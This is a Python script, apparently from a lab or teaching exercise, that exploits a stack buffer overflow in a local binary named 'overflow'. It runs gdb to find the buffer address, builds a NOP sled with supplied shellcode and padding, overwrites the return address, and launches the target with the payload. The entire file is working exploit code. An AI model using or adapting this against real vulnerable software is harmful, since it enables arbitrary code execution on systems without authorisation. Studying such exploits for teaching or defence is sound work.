#!/usr/bin/env python3

from subprocess import Popen, PIPE
import sys
from os import chdir
from os.path import dirname
import re

MYDIR = dirname(__file__)
print('Changed directory to: {}'.format(MYDIR))
chdir(MYDIR)

OVERFLOW_C_BUFFER_SIZE = int(300)
OVERFLOW_C_PADDING = 12

def get_address_of_buf(remaining_stack_frame_size, trailer_length):
    cmd = ['gdb', '-n', '--batch', '--command=' + './dump32.gdb', '--args', './overflow',
           'A' * (remaining_stack_frame_size + trailer_length)]
    print('Command: {}'.format(' '.join(cmd)))
    p = Popen(cmd, stdin=None, stdout=PIPE, stderr=PIPE)
    output, err = p.communicate(None)
    rc = p.returncode
    addr = None

    if len(err) != 0 or len(output) == 0:
        return (rc, addr)

    output_str = output.decode()
    p = re.compile('.*(0x[0-9a-f]+)$')
    for line in output_str.split('\n'):
        #print('--- ' + str(line))
        m = p.match(line)
        if m is not None and len(m.groups()) == 1:
            addr = int(m.groups()[0], 16)
            break

    return (rc, addr)

def run_exploit(new_return_addr, overflow_arg1, optional_addr_offset=0):
    arg1 = bytes(overflow_arg1) + \
           (new_return_addr + optional_addr_offset).to_bytes(4, 'little')
    print('Total Exploit Buffer Length: {}'.format(len(arg1)))

    exploit_buffer_filename = sys.argv[1] + '.bin'
    print('Saving Exploit Buffer to: {}'.format(exploit_buffer_filename))
    with open(exploit_buffer_filename, mode='w+b') as f:
        if f.write(arg1) != len(arg1):
            raise RuntimeError('Could not write exploit buffer.')

    #cmd = ['gdb', '--args', './overflow', arg1]
    cmd = ['./overflow', arg1]
    p = Popen(cmd, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr)
    p.communicate(None)
    return p.returncode

def create_exploit_buffer(remaining_stack_frame_size, shellcode_buffer, trailer=bytearray()):
    shellcode_length = len(shellcode_buffer)
    buf = bytearray([0x90] * (remaining_stack_frame_size -
                              shellcode_length))
    buf += shellcode_buffer
    buf += trailer
    return (buf, int((remaining_stack_frame_size - shellcode_length) / 2))

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('usage: {} [shellcode.o]'.format(sys.argv[0]))
        sys.exit(1)

    with open(sys.argv[1], mode='rb') as f:
        shellcode_buffer = f.read()

    exploit_buffer, optional_destination_offset = \
        create_exploit_buffer(OVERFLOW_C_BUFFER_SIZE,
                              shellcode_buffer,
                              bytearray([0x41] * OVERFLOW_C_PADDING))

    new_return_addr_tuple = get_address_of_buf(OVERFLOW_C_BUFFER_SIZE, OVERFLOW_C_PADDING)
    if new_return_addr_tuple[0] != 0 or new_return_addr_tuple[1] is None:
        sys.exit(1)

    print('Return Address: {}'.format(hex(new_return_addr_tuple[1])))
    ret = run_exploit(new_return_addr_tuple[1], exploit_buffer, optional_destination_offset)
    print('Exit Code: {}'.format("SIGSEGV (-11)" if ret == -11 else str(ret)))